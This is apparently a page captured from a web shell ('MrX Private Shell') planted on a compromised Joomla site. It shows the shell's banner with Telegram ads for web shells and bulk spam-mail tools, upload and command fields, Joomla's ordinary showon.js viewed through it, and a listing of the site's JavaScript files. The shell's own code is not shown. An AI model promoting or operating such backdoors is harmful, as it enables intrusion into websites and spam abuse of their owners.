__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * JField 'showon' class
 */
class Showon {
  /**
   * Constructor
   *
   * @param {HTMLElement} cont Container element
   */
  constructor(cont) {
    const self = this;
    this.container = cont || document;
    this.fields = {
      // origin-field-name: {
      //   origin:  ['collection of all the trigger nodes'],
      //   targets: ['collection of nodes to be controlled control']
      // }
    };
    this.showonFields = this.container.querySelectorAll('[data-showon]');
    // Populate the fields data
    if (this.showonFields.length) {
      // @todo refactor this, dry
      this.showonFields.forEach(field => {
        // Set up only once
        if (field.hasAttribute('data-showon-initialised')) {
          return;
        }
        field.setAttribute('data-showon-initialised', '');
        const jsondata = field.getAttribute('data-showon') || '';
        const showonData = JSON.parse(jsondata);
        let localFields;
        if (showonData.length) {
          localFields = self.container.querySelectorAll(`[name="${showonData[0].field}"], [name="${showonData[0].field}[]"]`);
          if (!this.fields[showonData[0].field]) {
            this.fields[showonData[0].field] = {
              origin: [],
              targets: []
            };
          }

          // Add trigger elements
          localFields.forEach(cField => {
            if (this.fields[showonData[0].field].origin.indexOf(cField) === -1) {
              this.fields[showonData[0].field].origin.push(cField);
            }
          });

          // Add target elements
          this.fields[showonData[0].field].targets.push(field);

          // Data showon can have multiple values
          if (showonData.length > 1) {
            showonData.forEach((value, index) => {
              if (index === 0) {
                return;
              }
              localFields = self.container.querySelectorAll(`[name="${value.field}"], [name="${value.field}[]"]`);
              if (!this.fields[showonData[0].field]) {
                this.fields[showonData[0].field] = {
                  origin: [],
                  targets: []
                };
              }

              // Add trigger elements
              localFields.forEach(cField => {
                if (this.fields[showonData[0].field].origin.indexOf(cField) === -1) {
                  this.fields[showonData[0].field].origin.push(cField);
                }
              });

              // Add target elements
              if (this.fields[showonData[0].field].targets.indexOf(field) === -1) {
                this.fields[showonData[0].field].targets.push(field);
              }
            });
          }
        }
      });

      // Do some binding
      this.linkedOptions = this.linkedOptions.bind(this);

      // Attach events to referenced element, to check condition on change and keyup
      Object.keys(this.fields).forEach(key => {
        if (this.fields[key].origin.length) {
          this.fields[key].origin.forEach(elem => {
            // Initialize the showon behaviour for the given HTMLElement
            self.linkedOptions(key);

            // Setup listeners
            elem.addEventListener('change', () => {
              self.linkedOptions(key);
            });
            elem.addEventListener('keyup', () => {
              self.linkedOptions(key);
            });
            elem.addEventListener('click', () => {
              self.linkedOptions(key);
            });
          });
        }
      });
    }
  }

  /**
   *
   * @param key
   */
  linkedOptions(key) {
    // Loop through the elements that need to be either shown or hidden
    this.fields[key].targets.forEach(field => {
      const elementShowonDatas = JSON.parse(field.getAttribute('data-showon')) || [];
      let showfield = true;
      let itemval;

      // Check if target conditions are satisfied
      elementShowonDatas.forEach((elementShowonData, index) => {
        const condition = elementShowonData || {};
        condition.valid = 0;

        // Test in each of the elements in the field array if condition is valid
        this.fields[key].origin.forEach(originField => {
          if (originField.name.replace('[]', '') !== elementShowonData.field) {
            return;
          }
          const originId = originField.id;

          // If checkbox or radio box the value is read from properties
          if (originField.getAttribute('type') && ['checkbox', 'radio'].includes(originField.getAttribute('type').toLowerCase())) {
            if (!originField.checked) {
              // Unchecked fields will return a blank and so always match
              // a != condition so we skip them
              return;
            }
            itemval = document.getElementById(originId).value;
          } else if (originField.nodeName === 'SELECT' && originField.hasAttribute('multiple')) {
            itemval = Array.from(originField.querySelectorAll('option:checked')).map(el => el.value);
          } else {
            // Select lists, text-area etc. Note that multiple-select list returns
            // an Array here so we can always treat 'itemval' as an array
            itemval = document.getElementById(originId).value;
            // Check data attribute data-global instead of value in <select> for use global
            if (originField.tagName === 'SELECT') {
              const selectedOption = document.getElementById(originId).selectedOptions[0];
              if (selectedOption && 'globalValue' in selectedOption.dataset) {
                itemval = selectedOption.dataset.globalValue;
              }
            }
            // A multi-select <select> $field  will return null when no elements are
            // selected so we need to define itemval accordingly
            if (itemval === null && originField.tagName.toLowerCase() === 'select') {
              itemval = [];
            }
          }

          // Convert to array to allow multiple values in the field (e.g. type=list multiple)
          // and normalize as string
          if (!(typeof itemval === 'object')) {
            itemval = JSON.parse(`["${itemval}"]`);
          }

          // Test if any of the values of the field exists in showon conditions
          itemval.forEach(val => {
            // ":" Equal to one or more of the values condition
            if (condition.sign === '=' && condition.values.indexOf(val) !== -1) {
              condition.valid = 1;
            }
            // "!:" Not equal to one or more of the values condition
            if (condition.sign === '!=' && condition.values.indexOf(val) === -1) {
              condition.valid = 1;
            }
          });
        });

        // Verify conditions
        // First condition (no operator): current condition must be valid
        if (condition.op === '') {
          if (condition.valid === 0) {
            showfield = false;
          }
        } else {
          // Other conditions (if exists)
          // AND operator: both the previous and current conditions must be valid
          if (condition.op === 'AND' && condition.valid + elementShowonDatas[index - 1].valid < 2) {
            showfield = false;
            condition.valid = 0;
          }
          // OR operator: one of the previous and current conditions must be valid
          if (condition.op === 'OR' && condition.valid + elementShowonDatas[index - 1].valid > 0) {
            showfield = true;
            condition.valid = 1;
          }
        }
      });

      // If conditions are satisfied show the target field(s), else hide
      if (field.tagName !== 'option') {
        if (showfield) {
          field.classList.remove('hidden');
          field.dispatchEvent(new CustomEvent('joomla:showon-show', {
            bubbles: true
          }));
        } else {
          field.classList.add('hidden');
          field.dispatchEvent(new CustomEvent('joomla:showon-hide', {
            bubbles: true
          }));
        }
      } else {
        // @todo: If chosen or choices.js is active we should update them
        field.disabled = !showfield;
      }
    });
  }
}
if (!window.Joomla) {
  throw new Error('Joomla API is not properly initialized');
}
// Provide a public API
if (!Joomla.Showon) {
  Joomla.Showon = {
    initialise: container => new Showon(container)
  };
}

/**
 * Initialize 'showon' feature at an initial page load
 */
Joomla.Showon.initialise(document);

/**
 * Search for matching parents
 *
 * @param {HTMLElement} $child
 * @param {String} selector
 * @returns {HTMLElement[]}
 */
const getMatchedParents = ($child, selector) => {
  let $parent = $child;
  let $matchingParent;
  const parents = [];
  while ($parent) {
    $matchingParent = $parent.matches && $parent.matches(selector) ? $parent : null;
    if ($matchingParent) {
      parents.unshift($matchingParent);
    }
    $parent = $parent.parentNode;
  }
  return parents;
};

/**
 * Initialize 'showon' feature when part of the page was updated
 */
document.addEventListener('joomla:updated', ({
  target
}) => {
  // Check is it subform, then wee need to fix some "showon" config
  if (target.classList.contains('subform-repeatable-group')) {
    const elements = target.querySelectorAll('[data-showon]');
    if (elements.length) {
      const search = [];
      const replace = [];

      // Collect all parent groups of changed group
      getMatchedParents(target, '.subform-repeatable-group').forEach($parent => {
        search.push(new RegExp(`\\[${$parent.dataset.baseName}X\\]`, 'g'));
        replace.push(`[${$parent.dataset.group}]`);
      });

      // Fix showon field names in a current group
      elements.forEach(element => {
        let {
          showon
        } = element.dataset;
        search.forEach((pattern, i) => {
          showon = showon.replace(pattern, replace[i]);
        });
        element.dataset.showon = showon;
      });
    }
  }
  Joomla.Showon.initialise(target);
});

Filemanager

Name Type Size Permission Actions
editors Folder 0775
fields Folder 0775
core.js File 25.69 KB 0664
core.min.js File 7.6 KB 0664
core.min.js.gz File 3.16 KB 0664
draggable.js File 5.63 KB 0664
draggable.min.js File 2.54 KB 0664
draggable.min.js.gz File 1.05 KB 0664
highlight.js File 61.61 KB 0664
highlight.min.js File 15.58 KB 0664
highlight.min.js.gz File 5.44 KB 0664
inlinehelp.js File 2.18 KB 0664
inlinehelp.min.js File 805 B 0664
inlinehelp.min.js.gz File 486 B 0664
joomla-core-loader.js File 4.91 KB 0664
joomla-core-loader.min.js File 4.02 KB 0664
joomla-core-loader.min.js.gz File 1.66 KB 0664
joomla-dialog-autocreate.js File 2.9 KB 0664
joomla-dialog-autocreate.min.js File 1.22 KB 0664
joomla-dialog-autocreate.min.js.gz File 664 B 0664
joomla-dialog.js File 18.34 KB 0664
joomla-dialog.min.js File 8.53 KB 0664
joomla-dialog.min.js.gz File 2.49 KB 0664
joomla-hidden-mail.js File 2.26 KB 0664
joomla-hidden-mail.min.js File 1.53 KB 0664
joomla-hidden-mail.min.js.gz File 721 B 0664
joomla-toolbar-button.js File 3.5 KB 0664
joomla-toolbar-button.min.js File 2.08 KB 0664
joomla-toolbar-button.min.js.gz File 868 B 0664
keepalive.js File 1 KB 0664
keepalive.min.js File 741 B 0664
keepalive.min.js.gz File 430 B 0664
list-view.js File 2.75 KB 0664
list-view.min.js File 1.59 KB 0664
list-view.min.js.gz File 555 B 0664
messages.js File 10.19 KB 0664
messages.min.js File 5.41 KB 0664
messages.min.js.gz File 1.77 KB 0664
modal-content-select.js File 1.14 KB 0664
modal-content-select.min.js File 781 B 0664
modal-content-select.min.js.gz File 497 B 0664
multiselect.js File 3.68 KB 0664
multiselect.min.js File 1.86 KB 0664
multiselect.min.js.gz File 917 B 0664
searchtools.js File 18.1 KB 0664
searchtools.min.js File 10.4 KB 0664
searchtools.min.js.gz File 2.56 KB 0664
showon.js File 9.91 KB 0664
showon.min.js File 3.55 KB 0664
showon.min.js.gz File 1.39 KB 0664
table-columns.js File 5.96 KB 0664
table-columns.min.js File 3.39 KB 0664
table-columns.min.js.gz File 1.28 KB 0664
treeselectmenu.js File 5.74 KB 0664
treeselectmenu.min.js File 4.07 KB 0664
treeselectmenu.min.js.gz File 976 B 0664
Filemanager